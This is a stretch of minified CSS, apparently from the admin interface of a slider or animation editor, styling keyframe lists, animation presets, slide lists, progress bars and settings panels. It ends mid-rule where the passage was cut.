.layer_transliste_inner { background:#323438 } .layer_transliste.open .layer_transliste_head i, .latransgroup.open i { transform: rotateZ(0deg) } .layer_transliste_head i.right-divided-icon { font-size: 20px !important } .layer_transliste .layer_transliste_inner, .latransgroup .lainner_transitions { display: none; } .layer_transliste.open .layer_transliste_inner, .latransgroup.open .lainner_transitions { display: block; } #rb_tlw .layer_trans_liste .material-icons.right-divided-icon { display: none} #rb_tlw .layer_trans_liste.selected .material-icons.right-divided-icon { display: block} .right-divided-icon { width: 30px; text-align: center; float: none;position: absolute; right: 0px;top: 0px; z-index: 3; font-size: 15px !important; border-left: 1px solid #323438; } .added_slide_transition .right-divided-icon:hover { transform: scale(1.2); transform-origin: 50% 50%; } li.added_slide_transition.selected>i.transition-remove { border:none !important;} li.added_slide_transition >i.transition-replace { color:rgba(255,255,255,0.75); position: absolute;right: 30px;width: 50px; text-align: right; opacity: 0; cursor: pointer; border-right: 1px solid rgba(0,0,0,0.2);padding-right: 10px;background: transparent; opacity:0;} li.added_slide_transition:hover >i.transition-replace { opacity:1;} li.added_slide_transition >i.transition-replace:hover { color:rgba(255,255,255,1);} .dark_btn .material-icons { font-size: 14px } .sm-updown { width: 10px;height: 23px;vertical-align: top;display: inline-block;line-height: 23px;margin-right: 5px} #latransition_selector_in .sm-updown, #latransition_selector_out .sm-updown, #transition_selector .sm-updown { display: none; } #latransition_selector_in, #latransition_selector_out { display: none; } #layer_transliste_0, #layer_transliste_999 { width: 280px; display:none;} .keyframe_liste.open #layer_transliste_0, .keyframe_liste.open #layer_transliste_999 { display: block; } .keyframe_CP_wrap { opacity: 0; background: transparent; width: 18px; height:30px; position: absolute; right: 100%; top:0px; color: #b7bbc0; } .keyframe_CP_toggle { background: #3a3e44; width: 10px; height: 30px; border-radius:4px; position: absolute; left: 0px; top: 0px; text-align: center; line-height:30px; cursor: pointer; } #rb_tlw .keyframe_CP_wrap i.material-icons { transform: translateX(-4px); font-size: 16px; } #rb_tlw .keyframe_CP_wrap:hover i.material-icons { color: #fff; } #frame_copypaste_tool { background: transparent; width: auto; padding-right:275px ; height: 30px; right: 20px; box-shadow: 5px 5px 10px rgba(0,0,0,0.5); position: fixed; display: none; z-index: 100000; border-radius: 4px; } .copyframe, .pasteframe { padding: 0px 10px 0px 15px; background:#3a3e44; display: inline-block; vertical-align: top; line-height: 30px; color: #b7bbc0; font-size: 12px; font-weight: 500; border-radius:4px 0px 0px 4px; cursor: pointer; } .pasteframe { color: #777c80; pointer-events: none; padding:0px 20px 0px 0px; border-radius:0px;} .copy_and_paste .pasteframe { pointer-events: auto; color: #b7bbc0; } .copyframe:hover, .pasteframe:hover { color: #fff; } .keyframe_liste:hover .keyframe_CP_wrap { opacity: 1; } #keyframe_list_el_frame_1 .keyframe_CP_wrap { display: none !important;} .keyframe_liste_inner { color:#b7bbc0; line-height: 30px;padding:0px 0px;margin-bottom:1px; z-index: 1; position: relative; display: block !important; box-sizing: border-box} .keyframe_liste:first-child .keyframe_liste_inner, .keyframe_liste:last-child .keyframe_liste_inner { width: 280px; } .keyframe_liste { z-index: 1; position: relative; cursor: pointer} .keyframe_liste { padding-left: 0px; margin-bottom: 0px; position: relative } .frame_list_id { background: #3a3e44; display: inline-block; width: 60px; font-weight: 800; vertical-align: top; line-height: 30px; text-align: center; font-size:13px; border-radius: 4px} .frame_list_id i.material-icons { font-size: 20px !important; margin-left: 5px} .frame_list_eview { border-radius: 4px;display: inline-block; width: 30px; vertical-align: top; line-height: 30px; text-align: center; font-size: 13px; position: absolute;right:0px;top:0px; background: #3a3e44; cursor: pointer} .frame_list_eview i.material-icons { line-height: 30px !important; font-size: 14px; color:#777c80;} #le_keyframes_list_innerwrap .frame_list_id { text-align: right } .frame_list_id:hover, .slideanim_preset:hover { color: #fff; } .keyframe_liste.keyframe_liste_dyn:nth-child(1) .keyframe_liste_inner .frame_list_title { text-align: center;width: 108px;box-sizing: border-box; white-space: nowrap;overflow: hidden;} .keyframe_liste.keyframe_liste_dyn:nth-child(2) .keyframe_liste_inner .frame_list_title { text-align: center;width: 107px;box-sizing: border-box; white-space: nowrap;overflow: hidden; border-radius: 0px 4px 4px 0px} .frame_list_title i.material-icons {position: absolute;left: 10px;font-size: 14px !important;} .keyframe_liste.keyframe_liste_dyn:nth-child(1), .keyframe_liste.keyframe_liste_dyn:nth-child(1) .keyframe_liste_inner { width: 173px !important; } .keyframe_liste.keyframe_liste_dyn:nth-child(2), .keyframe_liste.keyframe_liste_dyn:nth-child(2) .keyframe_liste_inner { width: 107px !important; } #le_keyframes_list_innerwrap li:nth-child(2) { position: absolute; left: 173px; top: 0px; } #le_keyframes_list_innerwrap li:nth-child(2) .frame_list_id { display:none !important;} #le_keyframes_list_innerwrap li:nth-child(1) .frame_list_title { border-radius: 4px 0px 0px 4px } #le_keyframes_list_innerwrap li:nth-child(2) .frame_list_title { margin: 0 !important; border-radius:0px 4px 4px 0px; border-left:2px solid #323438} .frame_list_eview:hover i.material-icons, .frame_list_eview.selected i.material-icons { color: #b7bbc0;} .frame_list_eview.selected i.material-icons { font-size:16px;} .frame_list_title { overflow:hidden; padding: 0px 10px; display: inline-block; vertical-align: top; line-height: 30px; font-weight: 400; font-size:13px; background: #3a3e44; width:215px; box-sizing: border-box; margin-left:5px; border-radius: 4px; text-align: center; position: relative} .frame_list_title.with_icon { padding: 0px 10px 0px 30px; } .keyframe_liste_inner .frame_list_title { display: inline-block; } ._TPRB_ .add_frame_after, ._TPRB_ .add_frame_before { display:none; cursor:pointer; position: absolute; padding:0px; right: 0px; bottom: -10px; width: 20px;height: 20px; border-radius: 10px; background:#006dd2; line-height: 20px; text-align: center; color:#fff; margin:0px; box-shadow: 0px 0px 10px 1px rgba(0,0,0,0.35)} ._TPRB_ .add_frame_after:after, ._TPRB_ .add_frame_before:after { content: " "; width: 0;height: 0;border-style: solid;border-width: 10px 13px 10px 0;border-color: transparent #006dd2 transparent transparent; position: absolute;left:-7px;top:0px;z-index: 1;} ._TPRB_ .add_frame_before { top: -11px; bottom: auto; } ._TPRB_ .add_frame_after i.material-icons, ._TPRB_ .add_frame_before i.material-icons { line-height: 20px !important; font-size: 16px; margin:0px; color:#fff;z-index: 2;position: relative} ._TPRB_ .add_frame_after:hover, ._TPRB_ .add_frame_before:hover { background: #006dd2;} #le_keyframes_list_innerwrap, #le_keyframes_list_innerwrap_in, #le_keyframes_list_innerwrap_out { margin: 0px; padding: 0px; } .frame_list_title:hover { color: #fff; } .keyframe_liste.selected .keyframe_liste_inner .frame_list_title, .slideanim_preset:hover, .slideanim_preset.selected { background: #006dd2; color: #fff; } .keyframe_liste:hover { z-index: 30 !important; overflow: visible; } .keyframe_liste_inner:hover .add_frame_after, .keyframe_liste_inner:hover .add_frame_before { display: block; } #form_layer_animation .blocksfxanim { display: none; } #form_layer_animation .nosfxanim { display: block; } #form_layer_animation .blockfromleft .blocksfxanim, #form_layer_animation .blockfromright .blocksfxanim, #form_layer_animation .blockfromtop .blocksfxanim, #form_layer_animation .blockfrombottom .blocksfxanim, #form_layer_animation .blocktoleft .blocksfxanim, #form_layer_animation .blocktoright .blocksfxanim, #form_layer_animation .blocktotop .blocksfxanim, #form_layer_animation .blocktobottom .blocksfxanim { display: block; } #form_layer_animation .blockfromleft .nosfxanim, #form_layer_animation .blockfromright .nosfxanim, #form_layer_animation .blockfromtop .nosfxanim, #form_layer_animation .blockfrombottom .nosfxanim, #form_layer_animation .blocktoleft .nosfxanim, #form_layer_animation .blocktoright .nosfxanim, #form_layer_animation .blocktotop .nosfxanim, #form_layer_animation .blocktobottom .nosfxanim { display: none; } /* CUSTOM ANIAMTION SAVING PROCESSES */ .custom_layer_animation_toolbar { position: absolute; top: 0px; right: 5px; height: 30px; text-align:right; z-index: 10; display:none;} .presets_listelement:hover .custom_layer_animation_toolbar, .layer_trans_liste:hover .custom_layer_animation_toolbar { display: block } .custom_layer_animation_toolbar .material-icons { line-height: 30px !important; width:25px; text-align: center; display: inline-block; cursor: pointer; font-size: 16px; color:rgba(255,255,255,0.5);} .custom_layer_animation_toolbar .material-icons:hover { color: #fff; } .cla_message, .cla_entername, #rb_tlw .custom_layer_animation_toolbar .material-icons.cla_answer_yes, #rb_tlw .custom_layer_animation_toolbar .material-icons.cla_answer_no { display: none; } .cla_message, .cla_entername { width:200px; top:0px; left:0px; height: 30px; line-height: 30px; position: absolute;} .cla_message { padding: 0px 20px; box-sizing: border-box; background: #006dd2; width: 100%; z-index: 2; } .cla_showmessage .cla_message, #rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.cla_answer_yes, #rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.cla_answer_no { display: inline-block; } .cla_showentername .custom_layer_animation_toolbar, .cla_showmessage .custom_layer_animation_toolbar { display: block; } .cla_showentername .cla_entername, #rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.cla_answer_yes, #rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.cla_answer_no { display: inline-block; z-index: 5;} #rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.edit_custom_layeranimation, #rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.save_custom_layeranimation, #rb_tlw .cla_showmessage .custom_layer_animation_toolbar .material-icons.delete_custom_layeranimation, #rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.edit_custom_layeranimation, #rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.add_custom_layeranimation, #rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.save_custom_layeranimation, #rb_tlw .cla_showentername .custom_layer_animation_toolbar .material-icons.delete_custom_layeranimation { display: none } #rb_tlw .cla_showentername input.cla_entername { width: 100%; padding: 0px 20px; box-sizing: border-box; box-shadow: none; border: none; outline: none; color: #fff; background: #006dd2 !important; z-index: 2;} #all_layer_loop_animation .frame_list_id { display: none; } #all_layer_loop_animation .frame_list_title { width: 100%; margin: 0px; } #layer_simulator_loop { position: absolute } /************************** COMMON PRESET ELEMENTS **************************/ .presets_liste { background: #3a3e44; color: #b7bbc0; border-radius: 4px; line-height: 30px; padding: 0px; margin-bottom: 1px; position: relative; cursor: pointer; margin-bottom: 20px; } .presets_liste_title { padding: 0px 10px; display: inline-block; vertical-align: top; line-height: 30px; font-weight: 400; font-size: 13px; background: #3a3e44; width: 100%; box-sizing: border-box; /*margin-left: 5px;*/ border-radius: 4px; text-align: center; } .presets_liste.open .presets_liste_title { color: #fff; } .presets_liste i, .presetssgroup>i { transform:rotateZ(-90deg); border-top: 1px solid #323438; border-left:none;} .custom_layer_animation_toolbar i { transform: rotateZ(0deg);border: none; } .presets_liste.open .presets_liste_head>i { transform:rotateZ(0deg); border-left: 1px solid #323438; border-top:none;} .presetssgroup.open>.presetssgroup_head>.animation_drop_arrow>i { transform:rotateZ(0deg); border:none;} .presets_liste_head i.right-divided-icon { font-size:20px !important} .presets_liste_inner { background: #323438; display:none} .presets_liste.open .presets_liste_inner, .presets_liste_inner.open { display:block} #rb_tlw .presetssgroup { width: 100%; height: auto; cursor: pointer; position: relative; } .presetssgroup_name { line-height: 30px; background: #2a2c2f; color: #b7bbc0; font-size: 13px; display: block; padding: 0px 20px; border-radius: 4px; margin-bottom: 1px; } .presets_listelements { display:none} .presetssgroup.open .presets_listelements { display:block} .slide_trans_templates .presetssgroup_name { padding-left: 10px; } .modern_presets { width: 92px; display: inline-block; height: 60px; line-height: 20px; box-sizing: border-box; margin-right: 1px; margin-bottom: 1px; text-align: center; border-radius: 6px; } .modern_presets .presets_liste_head { padding: 10px; box-sizing: border-box; } .modern_presets .presets_liste_head .right-divided-icon { display: none !important; } .modern_presets .presets_liste_head i.presets_liste_icon.material-icons { display: block !important; font-size: 25px !important; line-height: 25px !important; transform: none !important; border: none !important; } .modern_presets .presets_liste_head .presets_liste_title { display: block; text-align: center; line-height: 18px; font-size:12px;} .modern_presets:hover, .modern_presets.open { background:#006dd2 !important; color: #fff; cursor: pointer} .modern_presets.open .presets_liste_title, .modern_presets:hover .presets_liste_title { background:#006dd2 !important;} .presets_listelement { background: #3a3e44; color: #b7bbc0; border-radius: 4px; line-height: 30px; padding: 0px 20px; margin-bottom: 1px; position: relative; cursor: pointer; } .presets_liste_inner.modern_preset_list .presets_listelement { width: 139px; box-sizing: border-box; display: inline-block; vertical-align: middle; padding: 5px 10px; font-size: 11px; /*white-space: normal;*/ margin-right: 1px; line-height: 20px; margin-bottom: 1px; height: 30px; text-align: center; /*background: #232425;*/ } .presets_liste_inner.modern_preset_list .presets_listelement.onefourth { width: 69px; } .presets_listelement:hover { background: #006dd2; color: #fff; } .preset_help_icon { font-size: 17px !important; line-height: 20px !important; transform: none !important; border: none !important; } .presetssgroup_head:hover .presetssgroup_name, .presetssgroup_head:hover i { color: #fff; } .modern_preset_list .nosubpresetlevel .presets_listelements, .modern_preset_list .custompresetgroup .presets_listelements { display: block !important; } .modern_preset_list .custompresetgroup .presets_listelements .presets_listelement { width: 100%; display: block; text-align: left; padding-left: 20px; } .modern_preset_list .nosubpresetlevel .presetssgroup_head .animation_drop_arrow, .modern_preset_list .custompresetgroup .presetssgroup_head .animation_drop_arrow { display: none; } .blankpagelink { color: #b7bbc0; text-decoration: none; line-height: 25px; } .blankpagelink:hover { color: #fff; text-decoration: underline } #rb_tlw .selected_preset.material-icons { border:none !important; display: none; width: 20px; height: 20px; box-shadow: 0px 5px 15px 0px rgba(0,0,0,0.5); color: #fff; background: #006dd2; border-radius: 4px; position: absolute; pointer-events: none; top:5px; left:5px; transform:none !important; font-size: 15px;line-height: 20px;text-align: center;} #rb_tlw .s_s_preset .presets_liste_head .selected_preset.material-icons { display: block } .modern_preset_list .presets_listelement.dark_btn:hover { background: #40444A; } .modern_presets.presets_liste.slide_trans_templates.s_s_preset, .modern_presets.presets_liste.slide_trans_templates.s_s_preset .presets_liste_title { background: #40444A; } .modern_preset_list .presets_listelement.dark_btn.s_s_preset:hover, .presets_listelement.dark_btn.s_s_preset { background: #006dd2; } .modern_preset_list .presets_listelement.dark_btn:hover { z-index: 20; box-shadow: 0px 0px 15px rgba(0,0,0,0.5); overflow: visible;} #rb_tlw .s_s_preset .presets_liste_head { color: #fff !important; } #rb_tlw .s_s_preset .presetssgroup_head .presetssgroup_name, #rb_tlw .s_s_preset.presets_listelement.dark_btn, #rb_tlw .s_s_preset .presets_liste_head { color: #fff !important } .modern_preset_list .presets_listelement.dark_btn .preset_favorite { display:none !important;width: 20px; height: 30px; line-height:30px !important; font-size: 15px; text-align:center; background: #40444A; color: #fff; position: absolute;left: -18px; top: 0px; border-radius:4px 0px 0px 4px; border:none !important; transform:none !important;filter:brightness(110%);} .modern_preset_list .presets_listelement.dark_btn.s_s_preset .preset_favorite { background: #006dd2; } .modern_preset_list .presets_listelement.dark_btn.favright .preset_favorite { left:auto; right: -18px; top: 0px; border-radius:0px 4px 4px 0px; border:none !important; transform:none !important;} .modern_preset_list .presets_listelement.dark_btn:hover .preset_favorite { display: block !important; } .modern_preset_list .presets_listelement.dark_btn .preset_favorite:hover { filter:brightness(130%); } .showonlyfavoritpresets .modern_presets { pointer-events: none; opacity: 0.5; } .showonlyfavoritpresets .modern_preset_list .presetssgroup { display: none; } .showonlyfavoritpresets .modern_presets.prs_is_favorit { pointer-events: auto; opacity: 1; } .showonlyfavoritpresets .modern_preset_list .presetssgroup.prs_is_favorit { display: block; } .showonlyfavoritpresets .presetelement.presets_listelement.dark_btn:not(.prs_is_favorit) { display: none } /*********************** - SLIDE LIST PICKER - ************************/ #slidelist { padding: 0px; margin: 0px; list-style: none } .slide_list_element { display:block;box-sizing:border-box; position: relative; cursor: pointer; z-index:1; min-height:30px; width:300px; margin-bottom: 0px; line-height: 30px } .slide_list_element i { display: inline-block; } #slide_thumb_repeater { position: absolute; left: 300px; top: 0px; } .sle_thumb { display: none; box-sizing:border-box;width: 200px;height: 110px; background-size: contain; background-position: center center; /*position: absolute; top: 0px;left: 300px;*/ position: relative; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25);z-index: 1500;} .sle_description { white-space:nowrap; box-sizing:border-box;position:relative; display:inline-block; line-height:30px; font-weight:500; vertical-align:top; background:transparent;color:#b7bbc0;font-size: 13px;text-align:left; width: 180px; overflow: hidden } #slide_thumb_repeater .sle_thumb { display: block !important } .sle_description i.material-icons { font-size: 16px; margin-right: 10px; } #theslidermodule { background: #2a2c2f } #theslidermodule .sle_thumb, #newslide .sle_thumb { display: none !important; } #theslidermodule, #newslide { display: block; } #theslidermodule .sle_thumb { background-position: center center; background-size: 108px 68px; background-repeat: no-repeat } .sle_thumb i { position: absolute; left: 50%;top: 50%; color: #006dd2; font-size: 40px; margin-left: -20px;margin-top: -5px; } .slidetab_toolbox .addchildslide, .slidetab_toolbox .editslide, .slidetab_toolbox .deleteslide, .slidetab_toolbox .publishedslide, .slidetab_toolbox .unpublishedslide, .slidetab_toolbox .duplicateslide { display:inline-block; font-size:13px; width:16px; margin-right:5px; color:#fff; opacity:0.5;} .slidetab_toolbox .addchildslide { margin-right: 0px; font-size: 15px; } .slidetab_toolbox i.material-icons { font-size: 13px; } .slidetab_toolbox .addchildslide i.material-icons { font-size: 15px } .slidetab_toolbox { display:none; width:85px; height:30px;text-align:right; position: absolute;right: 0px; padding-right:10px;line-height: 30px;top: 0px; z-index:1020;} .rs-multilanguage_on .slidetab_toolbox { width: 102px; } .slide_list_child_element .slidetab_toolbox, .slide_list_element .slidetab_toolbox { background: linear-gradient(to right, rgba(63,68,74, 0) 0%,rgba(63,68,74,1) 20%,rgba(63,68,74,1) 100%);} .slide_list_element.selected >.slide_elemenet_content .slidetab_toolbox, .slide_list_child_element.selected >.slide_elemenet_content .slidetab_toolbox { background: linear-gradient(to right, rgba(0,109,210, 0) 0%,rgba(0,109,210,1) 20%,rgba(0,109,210,1) 100%);} .slide_list_child_element >.slide_elemenet_content:hover .slidetab_toolbox, .slide_list_element >.slide_elemenet_content:hover .slidetab_toolbox { display: block; } .slide_list_element:hover { z-index: 15;} .slide_list_element.selected {z-index: 10;} .do_not_sort_slide_list_element.slide_list_element.selected >.sle_description, .slide_list_child_element.selected >.slide_elemenet_content .sle_description, .slide_list_child_element:hover >.slide_elemenet_content .sle_description, .slide_list_element.selected >.slide_elemenet_content .sle_description, .slide_list_element:hover >.slide_elemenet_content .sle_description { color: #ffffff; } .do_not_sort_slide_list_element.slide_list_element:hover, #newslide:hover, .slide_list_child_element >.slide_elemenet_content:hover, .slide_list_element:hover >.slide_elemenet_content { background: #3f444a; } .slide_elemenet_content { padding: 0px 20px;display:block;box-sizing:border-box; position: relative; cursor: pointer; z-index:1; min-height:30px; width:300px; margin-bottom: 0px; line-height: 30px } .do_not_sort_slide_list_element.slide_list_element.selected, .slide_list_child_element.selected >.slide_elemenet_content, .slide_list_element.selected >.slide_elemenet_content { background: #006dd2; color: #fff; } .main_mode_selector:hover { background: #3f444a; } /*.slide_list_child_element:hover>.sle_thumb, .slide_list_element>.slide_elemenet_content:hover>.sle_thumb { display:block;}*/ .addchildslide:hover, .editslide:hover, .deleteslide:hover, .publishedslide:hover, .unpublishedslide:hover, .duplicateslide:hover { color:#fff !important; opacity: 1; } .publishedslide i.material-icons.publishedicon { display: inline-block !important} .publishedslide i.material-icons.unpublishedicon { display: none !important} .unpublishedslide i.material-icons.publishedicon { display: none !important } .unpublishedslide i.material-icons.unpublishedicon { display: inline-block !important} #newslide, .do_not_sort_slide_list_element.slide_list_element { padding: 0px 20px; } .slide_list_child_element >.slide_elemenet_content { background: #2a2c2f; margin-bottom: 0px;padding-left: 48px; } .ui-sortable-helper .slide_list_child_element_wrap { display: none; } .slide_list_element:hover .slide_list_child_element_wrap { display: block; } li.slide_list_child_element { margin-bottom: 0px } #builderView.slides_in_sort .slide_list_element .sle_thumb, #builderView.slides_in_sort .slide_list_child_element { display: none } #builderView.slides_in_sort .slide_list_element {height:30px; overflow: hidden;} /************************************** HOVERED AND MARKED CONTAINERS - CRUMBS - **************************************/ .aable.hovered, .markable.marked { outline:1px solid #006dd2} .layer_grid>.lg_topborder { width: 100%;height: 0px; z-index: 10000; position:absolute; top:-2px;left:0px; border-top:2px dashed #006dd2;} .layer_grid>.lg_bottomborder { width: 100%;height: 0px; z-index: 10000; position:absolute; bottom:-2px;left:0px;border-bottom:2px dashed #006dd2;} .layer_grid>.lg_leftborder { height: 100%;width: 0px; z-index: 10000; position:absolute; top:0px;left:-2px;border-left:2px dashed #006dd2;} .layer_grid>.lg_rightborder { height: 100%;width: 0px; z-index: 10000; position:absolute; top:0px;right:-2px;border-right:2px dashed #006dd2;} .nohiglightboxes .layer_grid>.lg_topborder, .nohiglightboxes .layer_grid>.lg_bottomborder, .nohiglightboxes .layer_grid>.lg_leftborder, .nohiglightboxes .layer_grid>.lg_rightborder { opacity: 0 !important } .tp-dialog { display: none; } /******************** - PROGRESS BAR - ********************/ #rev_progress_bar_wrap {width:100%;height:10px; position: absolute;top:auto;left:0px;bottom:0px;z-index:10; } .rev_progress_bar { display:block;z-index: 20;box-sizing: border-box;background-clip: content-box;position: absolute; line-height:0px;width:100%;height:100%; } .rev_progress_bgs { z-index: 15; box-sizing: border-box; width: 100%; position: absolute; height: 100%; top: 0px; left: 0px; } .rev_progress_bg { display:block;background-clip: content-box; position: absolute;width:100%;height:100%; } .rev_progress_gap { display:block;background-clip: content-box; position: absolute;width:100%;height:100%; } #rev_progress_bar_wrap.deactivated { display: none !important; } /******************************** - FORM CONTAINERS - **********************************/ /* FORM COLLECTOR */ .form_collector { display: none; position: relative; cursor: default; width: 100%; z-index:100 } .form_collector.hiddencollector { display: none !important } #form_collector_flexible_modal.form_collector { position: fixed; top: 50% !important; left: 50% !important; transform:translate(-50%, -50%) !important;z-index:100000;} .form_collector.dropover:before { padding:1px;content:" ";position:absolute; top:-2px;left:-2px;width:100%;height:100%;border: 2px solid #006dd2;box-sizing: content-box} .form_collector.removingtab:before { padding:1px;content:" ";position:absolute; top:-2px;left:-2px;width:100%;height:100%;border: 2px solid #ff0000;box-sizing: content-box} .formcontainer { z-index: 100; display: block; } .form_collector .drag_handle_icon { cursor: context-menu; } .collectortabwrap { position: relative; z-index: 1000; width: 100%;height:40px; line-height: 50px;top: 0px;left: 0px; cursor: move; } .collectortab { position: relative; display: inline-block; height:40px; line-height: 40px; color:#fff; padding:0px 10px;cursor: pointer; vertical-align: top; font-size: 15px; font-weight: 400} .collectortab, .form_collector .form_inner_header { padding-left: 15px; box-sizing: border-box; } .form_inner_header.innerwrap_breakout { margin: 0px -20px; } .collectortabwrap i { font-size: 17px;margin-right: 10px; } #addon_configuration_subpanel { display: block !important; padding: 30px 42px; box-sizing: border-box} .incollector_mode .collectortabwrap { display: block; } /* FORM CONTAINER */ .formcontainer{ width:100%;height:auto;vertical-align: top; position:relative; box-sizing: border-box; border-radius:3px; top:0px;left:0px; z-index: 10;} #__inmodal_formcontainerunderlay { display:none;position: fixed; top: 0px;left: 0px;width: 100%;height: 100%;background: #1b1c1d; opacity: 0.85; z-index: 999; } .form_inner { padding:30px;background:#ff0000;} .form_header { display:none;z-index:1;width:100%;line-height: 30px; padding:0px; font-size: 13px; color:#fff; box-sizing: border-box; font-weight: 400; border-radius:3px 3px 0px 0px; white-space: nowrap; cursor: move} .open_close_slide, .form_intoaccordion { display: block; font-size:20px; width:100%; height:40px; position: absolute; top:0px; left:0px; text-align:left; cursor: pointer; color:#000;z-index:1005;line-height: 40px; box-sizing: border-box; padding-left:6px;} /*********************************************** - GENERAL MODULE SETTINGS SPECIAL DROPDOWNS - ************************************************/ .layer_settings_collector .collectortab, .slide_settings_collector .collectortab, .slider_general_collector .collectortab, .nav_collector .collectortab { display: none } .layer_settings_collector.collapsed .form_intoaccordion, .slide_settings_collector.collapsed .form_intoaccordion, .slider_general_collector.collapsed .form_intoaccordion, .nav_collector.collapsed .form_intoaccordion { display: none } .layer_settings_collector .collectortabwrap, .slide_settings_collector .collectortabwrap, .slider_general_collector .collectortabwrap, .nav_collector .collectortabwrap { display: none } .gso_wrap { background: #202224; padding: 20px 10px 15px; } .slide_submodule_trigger, .layer_submodule_trigger, .general_submodule_trigger, .nav_submodule_trigger { width: 25%; display: inline-block; box-sizing: border-box; text-align: center; height: 35px; vertical-align: top; margin-bottom: 20px;color: #777c80; cursor: pointer; max-width:74px;} .slide_submodule_trigger i.material-icons, .layer_submodule_trigger i.material-icons, .general_submodule_trigger i.material-icons, .nav_submodule_trigger i.material-icons { font-size: 20px; display: block !important; margin-bottom: 5px; max-width: 74px} .gso_title {font-size: 12px; line-height: 13px; white-space: nowrap} .layer_submodule_trigger:hover, .layer_submodule_trigger.selected, .slide_submodule_trigger:hover, .slide_submodule_trigger.selected, .general_submodule_trigger:hover, .general_submodule_trigger.selected, .nav_submodule_trigger:hover, .nav_submodule_trigger.selected { color: #fff; } .layer_submodule_trigger:hover i, .layer_submodule_trigger.selected i, .slide_submodule_trigger:hover i, .slide_submodule_trigger.selected i, .general_submodule_trigger:hover i , .general_submodule_trigger.selected i, .nav_submodule_trigger:hover i , .nav_submodule_trigger.selected i{ color: #006dd2; } .form_header_title { line-height: 40px;padding:0px 10px;display: inline-block;border-right:1px solid #eee;border-bottom:1px solid #eee;margin-bottom: -1px;} .form_inner_header { display: none; font-size: 14px; line-height: 40px; text-transform: capitalize; color:#777c80;padding: 0px 10px; background: #2a2c2f; font-weight: 500;} .layer_settings_collector .form_inner_header, .slide_settings_collector .form_inner_header, .slider_general_collector .form_inner_header, .nav_collector .form_inner_header { background: #3f444a; color: #b7bbc0; } /******************* - VALUE SLIDERS - *******************/ .withvalslider { position: relative; display: inline-block;} .rs_vswrap {border-radius:4px; height:5px; padding:10px 0px; width:100%; bottom:-2px; position:absolute; display: block; opacity:0; left:0px;box-sizing: border-box;} .rs_vsdone { width: 0px; height: 2px; border-radius: 4px; background: #006dd2;position: absolute; left: 0px;top: 10px; } .rs_vsrail { width: 100%; pointer-events:none; height:2px; border-radius: 4px; background: #2a2c2f;position: absolute; left: 0px;top: 10px; } .rs_vspin { width: 9px; height: 9px; position: absolute; left: -2px;top: 6px; border-radius: 5px; background: #b7bbc0; cursor: pointer} .withvalslider:hover .rs_vswrap, .withvalslider.indrag .rs_vswrap { opacity:1} .rs_vswrap:hover .rs_vspin, .withvalslider.indrag .rs_vspin { background:#fff;} /*******************+****** - KEN BURN SIMULATION - **************************/ #ken_burn_bg_setting_on #slide_bg_and_repeat_fit_wrap { display: none !important; } #kenburn_timeline { background: #2a2c2f; border-radius:4px; height:5px; width:200px; position:relative; display: inline-block; margin-top:10px; margin-bottom:10px;} .pz_timedone { width: 0px; height: 5px; border-radius: 4px; background: #006dd2;position: absolute; left: 0px;top: 0px; } .pz_pin { width: 9px; height: 9px; position: absolute; left: -2px;top: -2px; border-radius: 5px; background: #b7bbc0; cursor: pointer} #kenburn_timeline:hover .pz_pin, #kenburn_timeline.indrag .pz_pin { background: #fff; } #kenburn_timeline { margin-right: 9px; } #kenburn_simulator { margin-right: 4px; } rs-pzimg-wrap { display: block; position: absolute } /* FIXED POSITIONED FORMCOLLECTORS HAS DIFFERENT BEHAVIOR */ .form_collector .form_inner .form_intoaccordion { height: 40px; line-height: 40px;} .form_collector .form_intoaccordion i { transform: rotate(0deg); position: absolute; right:4px; } .open_close_slide i, .form_collector .collapsed .form_intoaccordion i { transform: rotate(-90deg); } .opened_slidetab .open_close_slide i { transform: rotate(0deg); } .form_collector .form_inner .form_intoaccordion i { transform: rotate(-90deg); } .form_collector .form_inner.open .form_intoaccordion i { transform: rotate(0deg); } #the_container .form_collector .collectortabwrap { cursor: pointer; } #the_container .form_collector .form_inner { display: block !important; padding:0px;position: relative; margin-bottom: 1px} #the_container ._just_carousel_ .form_collector .form_inner._nvojcm_ { display: none !important;} #the_container ._just_carousel_ .form_collector .form_inner ._nvojcm_ { display: none !important;} #the_container .form_collector .form_inner.hide_while_empty { display: none !important; } #the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_d, #the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_n, #the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_t, #the_container ._just_carousel_ .form_collector .form_inner #sr_size_width_m { opacity: 0.3 !important; pointer-events: none !important; } #the_container .form_collector .form_inner .collapsable { padding: 20px;display:none; position: relative} #the_container .form_collector .form_inner.open .collapsable { display:block;} .form_collector .form_inner_header { display: block!important; cursor: pointer; } .form_collector .form_inner_header .material-icons { font-size: 17px; margin-right: 15px; line-height: 40px } #the_container .form_collector .form_menu_level_1 { display: none !important; } #the_container .form_collector .form_closer { display: none !important; } #the_container .form_collector .formcontainer.collapsed .form_inner { display: none !important; } #the_container._shape_sel_ #the_right_toolbar #the_right_toolbar_inner._layer_content_selected_ .form_collector .formcontainer.collapsed #form_layerstyle_bg.form_inner { display:block !important} #the_container._shape_sel_ #the_right_toolbar #the_right_toolbar_inner._layer_content_selected_ #form_layer_content { padding-bottom:0px; margin-bottom:0px !important} /* FORM MENUS */ .form_menu_level_1 { list-style: none; margin: 0px 0px 0px 0px; line-height: 20px; border-bottom: 1px solid #333; display:block; padding:25px 25px 6px;border-top:1px solid #333;} .form_menu_level_1 li { text-transform:uppercase;list-style: none; display: inline-block; line-height: 20px; color: #333; cursor: pointer; font-weight: 400; margin: 0px 15px 0px 0px;padding: 0px 0px 0px;} .form_menu_level_1 li:hover, .form_menu_level_1 li.selected { color: #006dd2; } .form_menu_level_2 { list-style: none; padding: 0px;margin: 0px 0px 30px 0px; line-height: 20px; display:block;} .form_menu_level_2 li { box-sizing:border-box;position:relative;list-style: none; z-index:1;display: inline-block; line-height: 40px; font-size: 14px; font-weight: 500; border:1px solid #d4dce4; cursor: pointer; font-weight: 500; 